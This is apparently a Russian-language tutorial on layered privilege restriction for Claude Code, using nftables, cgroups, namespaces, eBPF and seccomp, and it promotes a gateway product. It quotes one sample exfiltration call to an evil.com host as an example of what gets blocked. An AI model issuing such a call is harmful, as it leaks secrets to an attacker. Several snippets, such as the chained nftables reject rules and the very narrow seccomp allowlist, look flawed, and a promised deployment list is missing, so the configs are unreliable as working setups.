Claude Code в продакшене: поэтапная архитектура ограничения привилегий

Claude Code работает иначе, чем веб-интерфейс Claude. Он получает прямой доступ к терминалу, файловой системе и сети вашего хоста. Когда вы запускаете claude --dangerously-skip-permissionsили одобряете инструмент в prompt — вы делегируете LLM права текущего пользователя без остатка.

Это делает Claude Code невероятно продуктивным. И невероятно опасным, если не выстроить защиту послойно — так, чтобы сбой одного механизма не означал полной компрометации.

Модель защиты: четыре кольца

В классической информационной безопасности «defense in depth» означает, что каждый слой independently обеспечивает защиту. Для Claude Code мы определяем четыре слоя:

┌─────────────────────────────────────────┐
│  Layer 4: Kernel (eBPF / seccomp)      │  ← последнее кольцо
│  Layer 3: Filesystem (namespaces, ACL)  │
│  Layer 2: Process (cgroups, capabilities)│
│  Layer 1: Network (iptables, nftables)  │  ← первое кольцо
└─────────────────────────────────────────┘

Агент проходит через все слои при каждом действии. Блокировка на любом из них останавливает операцию. Давайте разберём каждый.

Layer 1 — Сетевой периметр

Claude Code может инициировать исходящие соединения: скачивать пакеты, обращаться к API, отправлять webhook'и. Первый шаг — ограничить, куда он может ходить.

Используйте nftables с метками процессов:

1# Создаём таблицу для AI-агентов
2nft add table inet ai_agents
3​
4# Разрешаем только конкретные API-эндпоинты
5nft add chain inet ai_agents output { type filter hook output priority 0 \; }
6​
7# Claude Code process (PID-based, обновляется через systemd exec)
8nft add rule inet ai_agents output meta cgroup 123 \
9  ip daddr != 44.234.xxx.xxx reject   # Claude API
10nft add rule inet ai_agents output meta cgroup 123 \
11  ip daddr != 52.16.xxx.xxx reject   # npm registry
12​
13# Всё остальное — запрещено
14nft add rule inet ai_agents output meta cgroup 123 drop

На уровне приложения FlowLink MCP Gateway дублирует эту логику с enriched-контекстом: он знает,какой инструмент Claude Code вызывает и для чего. Если Claude пытается выполнитьfetch("https://evil.com/exfil?data=" + secret) — gateway блокирует запрос до того, как он достигнет сети.

DNS-фильтрация как дополнительная линия

Даже если агент обходит IP-фильтры через DNS, FlowLink перехватывает getaddrinfo()через eBPF и проверяет домен против whitelist:

1allowed_domains = [
2  "api.anthropic.com",
3  "registry.npmjs.org",
4  "api.github.com",
5  "*.internal.company.com"
6]

Layer 2 — Изоляция процессов

Claude Code запускает дочерние процессы (git, npm, docker). Без ограничений любой из этих процессов наследует права пользователя.

cgroups v2 ограничивают ресурсы и предотвращают fork-bombs:

1# /etc/systemd/system/claude-code.slice
2[Unit]
3Description=Claude Code sandbox slice
4​
5[Slice]
6CPUQuota=50%
7MemoryMax=4G
8TasksMax=500
9DeviceAllow=/dev/null rw
10DeviceAllow=/dev/urandom r
11​
12# Запуск
13systemd-run --user --slice=claude-code.slice claude

1# Drop all capabilities, grant only what's needed
2capsh --drop=all --caps="cap_net_bind_service=ep" -- \
3  -c "claude --allowedTools bash,read,write,glob,search"

Layer 3 — Файловая система

Claude Code читает и пишет файлы. Ключевая идея: дать доступ только к рабочей директории проекта, запретить всё остальное.

С помощью mount namespace:

1# Создаём изолированное пространство имён файловой системы
2unshare --mount --map-root-user \
3  --mount-proc \
4  bash -c "
5    mount --bind /home/dev/project /home/dev/project
6    mount --bind /tmp/claude-tmp /tmp
7    mount -t tmpfs none /root
8    claude
9  "

Для более точного контроля FlowLink использует eBPF LSM hook наsecurity_file_permission:

1SEC("lsm/file_permission")
2int restrict_claude_fs(struct file *file, int mask) {
3  char path[256];
4  bpf_d_path(&file->f_path, path, sizeof(path));
5​
6  // Белый список директорий
7  if (!path_starts_with(path, "/home/dev/project") &&
8      !path_starts_with(path, "/tmp") &&
9      !path_starts_with(path, "/usr/local/lib")) {
10    log_access_denied(path, mask);
11    return -EACCES;
12  }
13  return 0;
14}

Layer 4 — Ядро

Последняя линия обороны. seccomp-bpf фильтрует системные вызовы на уровне ядра — агент просто не может выполнить определённые syscall'ы:

1{
2  "defaultAction": "SCMP_ACT_ERRNO",
3  "architectures": ["SCMP_ARCH_X86_64"],
4  "syscalls": [
5    { "names": ["write", "read", "openat", "close",
6                 "fstat", "mmap", "brk", "exit_group"],
7      "action": "SCMP_ACT_ALLOW" },
8    { "names": ["unshare", "clone", "mount",
9                 "ptrace", "keyctl", "acct"],
10      "action": "SCMP_ACT_KILL" }
11  ]
12}

Claude Code не нужен mount(), ptrace() или unshare(). Блокировка этих syscall'ов предотвращает контейнер-escape и отладку чужих процессов.

Как это всё соединить в Production

Каждый слой независимо полезен, но максимальная защита достигается при их комбинации. Вот практический порядок внедрения:

Не нужно развёртывать всё одновременно. Но каждый беззащитный слой — это вектор, который реальный атакующий или «добросовестный» AI-агент может эксплуатировать.